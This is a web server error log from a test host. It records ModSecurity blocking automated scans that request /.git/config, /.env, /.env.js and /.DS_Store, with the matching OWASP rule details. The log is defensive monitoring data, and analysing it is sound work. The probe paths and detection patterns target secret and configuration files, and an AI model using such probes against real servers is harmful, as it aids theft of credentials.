[Thu Oct 09 21:12:22.441706 2025] [:error] [pid 3356739] [client 172.235.183.127:49916] [client 172.235.183.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOgJFvtmepgFZXzZQaCCJgAAAA0"]
[Thu Oct 09 21:12:22.441841 2025] [:error] [pid 3356739] [client 172.235.183.127:49916] [client 172.235.183.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOgJFvtmepgFZXzZQaCCJgAAAA0"]
[Sat Oct 11 00:10:21.713639 2025] [:error] [pid 3390474] [client 195.178.110.130:53728] [client 195.178.110.130] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOmETUrLsNZdUocAdRl-nwAAABo"]
[Sat Oct 11 00:10:21.713897 2025] [:error] [pid 3390474] [client 195.178.110.130:53728] [client 195.178.110.130] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOmETUrLsNZdUocAdRl-nwAAABo"]
[Sat Oct 11 00:10:21.714054 2025] [:error] [pid 3390474] [client 195.178.110.130:53728] [client 195.178.110.130] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aOmETUrLsNZdUocAdRl-nwAAABo"]
[Sun Oct 12 01:29:36.004494 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.js"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Sun Oct 12 01:29:36.005723 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Sun Oct 12 01:29:36.005902 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2AAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Sun Oct 12 01:29:36.320755 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.js"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2QAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Sun Oct 12 01:29:36.321011 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2QAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Sun Oct 12 01:29:36.321179 2025] [:error] [pid 3414037] [client 167.99.163.166:57112] [client 167.99.163.166] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.js"] [unique_id "aOroYPTenxBX_WKaY0cJ2QAAAAE"], referer: http://forst-trento.test.indacotrentino.com/.env.js
[Mon Oct 13 00:18:03.674629 2025] [:error] [pid 3439112] [client 176.65.149.195:59568] [client 176.65.149.195] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOwpGxwA3HrpAxGytWj6kAAAAAM"]
[Mon Oct 13 00:18:03.674988 2025] [:error] [pid 3439112] [client 176.65.149.195:59568] [client 176.65.149.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOwpGxwA3HrpAxGytWj6kAAAAAM"]
[Mon Oct 13 00:18:03.675168 2025] [:error] [pid 3439112] [client 176.65.149.195:59568] [client 176.65.149.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aOwpGxwA3HrpAxGytWj6kAAAAAM"]
[Tue Oct 14 02:40:04.519566 2025] [:error] [pid 3465423] [client 195.178.110.223:43906] [client 195.178.110.223] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO2b5EaSyb0H2u5wX4a_8AAAAAE"]
[Tue Oct 14 02:40:04.519832 2025] [:error] [pid 3465423] [client 195.178.110.223:43906] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO2b5EaSyb0H2u5wX4a_8AAAAAE"]
[Tue Oct 14 02:40:04.519976 2025] [:error] [pid 3465423] [client 195.178.110.223:43906] [client 195.178.110.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO2b5EaSyb0H2u5wX4a_8AAAAAE"]
[Tue Oct 14 11:56:11.505934 2025] [:error] [pid 3475915] [client 13.222.100.172:57420] [client 13.222.100.172] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO4eO6vNwJ0Vysyr7IJB9gAAAAc"]
[Tue Oct 14 11:56:11.506322 2025] [:error] [pid 3475915] [client 13.222.100.172:57420] [client 13.222.100.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO4eO6vNwJ0Vysyr7IJB9gAAAAc"]
[Tue Oct 14 11:56:11.506580 2025] [:error] [pid 3475915] [client 13.222.100.172:57420] [client 13.222.100.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aO4eO6vNwJ0Vysyr7IJB9gAAAAc"]
[Tue Oct 21 03:06:46.853440 2025] [:error] [pid 3643218] [client 195.178.110.223:38052] [client 195.178.110.223] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPbcpnLGIGi0KUIkjId7AAAAAAI"]
[Tue Oct 21 03:06:46.854530 2025] [:error] [pid 3643218] [client 195.178.110.223:38052] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPbcpnLGIGi0KUIkjId7AAAAAAI"]
[Tue Oct 21 03:06:46.854715 2025] [:error] [pid 3643218] [client 195.178.110.223:38052] [client 195.178.110.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPbcpnLGIGi0KUIkjId7AAAAAAI"]
[Tue Oct 21 21:21:47.599818 2025] [:error] [pid 3643304] [client 93.123.109.214:55324] [client 93.123.109.214] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPfdS2-vOrJjJX-1-bwk-wAAAAc"]
[Tue Oct 21 21:21:47.601657 2025] [:error] [pid 3643304] [client 93.123.109.214:55324] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPfdS2-vOrJjJX-1-bwk-wAAAAc"]
[Tue Oct 21 21:21:47.601843 2025] [:error] [pid 3643304] [client 93.123.109.214:55324] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPfdS2-vOrJjJX-1-bwk-wAAAAc"]
[Wed Oct 22 14:37:29.813673 2025] [authz_core:error] [pid 3679849] [client 46.101.111.185:57224] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Oct 22 14:37:31.177408 2025] [:error] [pid 3679853] [client 46.101.111.185:57256] [client 46.101.111.185] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPjQC0dtuLhrkSzUdKMNWwAAAA8"]
[Wed Oct 22 14:37:31.177621 2025] [:error] [pid 3679853] [client 46.101.111.185:57256] [client 46.101.111.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPjQC0dtuLhrkSzUdKMNWwAAAA8"]
[Wed Oct 22 14:37:31.177770 2025] [:error] [pid 3679853] [client 46.101.111.185:57256] [client 46.101.111.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPjQC0dtuLhrkSzUdKMNWwAAAA8"]
[Wed Oct 22 14:37:31.433812 2025] [:error] [pid 3678601] [client 46.101.111.185:57266] [client 46.101.111.185] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPjQC5WNbsS0WmrKVkLfXgAAAAA"]
[Wed Oct 22 14:37:31.434034 2025] [:error] [pid 3678601] [client 46.101.111.185:57266] [client 46.101.111.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPjQC5WNbsS0WmrKVkLfXgAAAAA"]
[Wed Oct 22 14:37:31.434188 2025] [:error] [pid 3678601] [client 46.101.111.185:57266] [client 46.101.111.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPjQC5WNbsS0WmrKVkLfXgAAAAA"]
[Wed Oct 22 14:37:31.660919 2025] [:error] [pid 3679801] [client 46.101.111.185:57278] [client 46.101.111.185] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPjQC57XUqOYsty5cO_rrgAAAAo"]
[Wed Oct 22 14:37:31.661144 2025] [:error] [pid 3679801] [client 46.101.111.185:57278] [client 46.101.111.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPjQC57XUqOYsty5cO_rrgAAAAo"]
[Wed Oct 22 14:37:31.661298 2025] [:error] [pid 3679801] [client 46.101.111.185:57278] [client 46.101.111.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aPjQC57XUqOYsty5cO_rrgAAAAo"]
[Fri Oct 24 15:12:55.117027 2025] [authz_core:error] [pid 3728422] [client 209.38.248.17:56852] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Oct 24 15:12:56.195129 2025] [:error] [pid 3728425] [client 209.38.248.17:56880] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPt7WCE6Drn0E6_hPHQbiwAAAAw"]
[Fri Oct 24 15:12:56.195349 2025] [:error] [pid 3728425] [client 209.38.248.17:56880] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPt7WCE6Drn0E6_hPHQbiwAAAAw"]
[Fri Oct 24 15:12:56.195524 2025] [:error] [pid 3728425] [client 209.38.248.17:56880] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aPt7WCE6Drn0E6_hPHQbiwAAAAw"]
[Fri Oct 24 15:12:56.498510 2025] [:error] [pid 3728426] [client 209.38.248.17:56892] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aPt7WCWJ1CPdovV5xzXIwgAAAA0"]
